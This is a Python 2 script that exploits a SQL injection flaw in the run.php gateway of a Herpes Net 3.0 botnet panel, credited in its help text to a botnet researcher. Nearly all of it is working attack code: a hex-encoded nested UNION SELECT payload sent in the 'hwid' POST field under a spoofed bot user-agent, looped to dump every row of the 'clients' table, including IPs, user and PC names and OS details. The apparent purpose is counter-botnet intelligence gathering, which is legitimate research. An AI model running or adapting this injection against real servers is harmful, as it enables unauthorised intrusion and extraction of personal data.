import random
import pycurl
import urllib
import cStringIO
import json
def _u(i):
try:
return unicode(i, errors='ignore')
except:
return i
class HerpesNetPanel:
def __init__(self, gateway_url):
self.gateway_url = gateway_url
@staticmethod
def _get_field(gateway, table, column, row):
prefix = ""
while len(prefix) < 6:
prefix += random.choice(['1', '2', '3', '4', '5', '6', '7', '8', '9'])
bot_id = "' AND 1=2 UNION ALL SELECT 0x" + ("' AND 1=2 UNION ALL SELECT 1,2," + column + ",'" +
prefix + "',5 FROM " + table + " LIMIT 1 OFFSET " +
str(row) + " -- --").encode("hex") + ",2,3,4,5,6,7,8,9 -- --"
buf = cStringIO.StringIO()
c = pycurl.Curl()
params = urllib.urlencode({'hwid': bot_id})
c.setopt(pycurl.USERAGENT, "74978b6ecc6c19836a17a3c2cd0840b0")
c.setopt(c.POSTFIELDS, params)
c.setopt(c.URL, gateway)
c.setopt(c.WRITEFUNCTION, buf.write)
c.setopt(pycurl.CONNECTTIMEOUT, 10)
c.setopt(pycurl.TIMEOUT, 10)
c.perform()
command = buf.getvalue()
try:
if command[-(len(prefix) + 1):] == "|" + prefix:
return command[:-(len(prefix) + 1)]
except:
return None
return None
def get_all_bot_details(self):
count = 0
bots = []
while True:
user = _u(self._get_field(self.gateway_url, 'clients', 'hwid', count))
if user is None:
break
bots.append({'hwid': _u(user),
'ip': _u(self._get_field(self.gateway_url, 'clients', 'ip', count)),
'cc': _u(self._get_field(self.gateway_url, 'clients', 'cc', count)),
'time': _u(self._get_field(self.gateway_url, 'clients', 'time', count)),
'userandpc': _u(self._get_field(self.gateway_url, 'clients', 'userandpc', count)),
'admin': _u(self._get_field(self.gateway_url, 'clients', 'admin', count)),
'os': _u(self._get_field(self.gateway_url, 'clients', 'os', count)),
'status': _u(self._get_field(self.gateway_url, 'clients', 'status', count)),
'id': _u(self._get_field(self.gateway_url, 'clients', 'id', count))})
count += 1
return bots
def print_help():
print("usage: herpesnet.class.py [-h] url-of-run.php")
print("")
print("Herpes Net 3.0 Database Extraction")
print("Gathering information via SQLi from Herpes Net 3.0 botnets")
print("By Brian Wallace (@botnet_hunter)")
print("")
print(" url-of-run.php URL of run.php in the Herpes Net panel")
print(" -h --help Print this message")
print("")
if __name__ == "__main__":
from argparse import ArgumentParser
parser = ArgumentParser(add_help=False)
parser.add_argument('run', metavar='run', type=str, nargs='?', default=None)
parser.add_argument('-h', '--help', default=False, required=False, action='store_true')
parser.add_argument('-v', '--verbose', default=False, required=False, action='store_true')
args = parser.parse_args()
if args.help or args.run is None:
print_help()
exit()
h = HerpesNetPanel(args.run)
print json.dumps(h.get_all_bot_details(), sort_keys=True, indent=4, separators=(',', ': '))